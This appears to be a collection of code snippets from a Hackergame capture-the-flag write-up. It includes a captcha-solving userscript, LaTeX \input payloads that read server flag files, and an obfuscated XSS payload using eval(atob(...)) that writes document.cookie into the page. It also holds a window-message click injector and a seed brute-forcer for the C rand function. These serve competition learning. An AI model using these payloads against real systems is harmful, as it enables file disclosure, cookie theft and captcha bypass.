1
.. literal-emph::
2
  {
3
    "ts": "2020-09-16T13:29:08.560780Z",
4
    "uid": "CFb8DZ1DLzStfZaERb",
5
    **"id.orig_h": "205.166.94.9",**
6
    "id.orig_p": 55699,
7
    **"id.resp_h": "192.168.4.37",**
8
    **"id.resp_p": 22,**
9
    **"auth_attempts": 0,**
10
    **"direction": "INBOUND",**
11
    **"server": "SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3"**
12
  }

1
codes = ""
2
with open('getflag.hei.py', 'r') as f:
3
    for line in f.readlines():
4
        if(line.startswith('a[')):
5
            s = line.index('[')
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            e = line.index(']')
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            indexes = line[s+1: e].split(' | ')
8
            value  = line[line.index("= ")+1:]
9
            for i in indexes:
10
                codes+= f"a[{i}] = {value}"
11

12
with open('output.hei.py', 'w') as f:
13
    f.write(codes)

1
// ==UserScript==
2
// @name         Hackergame Xcaptcha
3
// @namespace    http://tampermonkey.net/
4
// @version      0.1
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// @description  try to take over the world!
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// @author       zqm39
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// @match        http://202.38.93.111:10047/xcaptcha
8
// @grant        none
9
// ==/UserScript==
10
(function() {
11
    'use strict';
12
    document.querySelectorAll('.form-group').forEach(el => {
13
        const label = el.childNodes[1]
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        const input = el.childNodes[3]
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        const text = label.innerText.split('+')
16
        const a = BigInt(text[0])
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        const b = BigInt(text[1].slice(0, -6))
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        const res = a + b
19
        input.value = res
20
    })
21
    document.querySelector('#submit').click()
22
})();

1
\input{/flag1}

1
\catcode`\#=11 \catcode`\_=11 \input{/flag2}

1
[DllImport("user32.dll")]
2
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
3

4
[DllImport("User32.dll", EntryPoint = "PostMessage")]
5
private static extern int PostMessage(IntPtr hWnd, int Msg, IntPtr wParam, string lParam);
6

7
[DllImport("User32.dll", EntryPoint = "SendMessage")]
8
private static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, string lParam);
9

10
[DllImport("User32.dll")]
11
public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr childe, string strclass, string FrmText);
12
const int WM_LBUTTONDOWN = 0x0201;
13
const int WM_LBUTTONUP = 0x0202;
14

15
IntPtr hwnd = FindWindow(null, "flag 自动机");
16
IntPtr jiemi_button = FindWindowEx(hwnd, IntPtr.Zero, "Button", "狠心夺取");
17
PostMessage(jiemi_button, WM_LBUTTONDOWN, hwnd, null);
18
PostMessage(jiemi_button, WM_LBUTTONUP, hwnd, null);

1
s = createElement('script');
2
body.appendChild(s);
3
s.innerHTML = `document.querySelector('#score').innerHTML = document.cookie `

1
123: < img src = x onerror = eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3MuaW5uZXJIVE1MID0gYGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNzY29yZScpLmlubmVySFRNTCA9IGRvY3VtZW50LmNvb2tpZSBg')) >

1
#include <math.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <time.h>
5

6
int equals(double a, double b) {
7
    return fabs(a - b) <= 1e-7;
8
}
9

10
double rand01() {
11
    return (double)rand() / RAND_MAX;
12
}
13

14
int main() {
15
    // disable buffering
16
    setvbuf(stdin, NULL, _IONBF, 0);
17
    setvbuf(stdout, NULL, _IONBF, 0);
18
    setvbuf(stderr, NULL, _IONBF, 0);
19
    double pi_list[5], a, b, cs, ce;
20
    int cnt;
21
    scanf("%lf%lf", &cs, &ce);
22
    unsigned long tm = (unsigned)time(0);
23
    printf("%lu\n", tm);
24
    scanf("%lf%lf", &a, &b);
25
    for (unsigned long clk = cs; clk <= ce; clk++) {
26
        printf("%lu\n", clk);
27
        for (int tm_diff = -2; tm_diff <= 0; tm_diff++) {
28
            // cout << "time " << tm + tm_diff << endl;
29
            srand(tm + tm_diff + clk);
30
            cnt = 0;
31
            for (int i = 5; i > 0; i--) {
32
                int M = 0;
33
                int N = 400000;
34
                for (int j = 0; j < N; j++) {
35
                    double x = rand01();
36
                    double y = rand01();
37
                    if (x * x + y * y < 1) M++;
38
                }
39
                pi_list[cnt++] = (double)M / N * 4;
40
                if (cnt >= 3 && !equals(pi_list[0], a) && !equals(pi_list[1], b)) break;
41
            }
42
            if (equals(pi_list[0], a) && equals(pi_list[1], b)) {
43
                for (int i = 0; i < cnt; i++) {
44
                    printf("%.5f\n", pi_list[i]);
45
                }
46
                printf("time: %lu  clk: %lu", tm+tm_diff, clk);
47
                break;
48
            }
49
        }
50
    }
51
    return 0;
52
}

1
float sceneSDF(vec3 p, out vec3 pColor) {
2
    pColor = vec3(1.0, 1.0, 1.0);
3

4
    vec4 pH = mk_homo(p);
5
    vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;
6

7
    float t1 = t1SDF(pTO.xyz);
8
    float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
9
    float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
10
    float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
11
    float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
12
    // 去掉 t5
13
    float tmin = min(min(min(t1, t2), t3), t4);
14
    return tmin;
15
}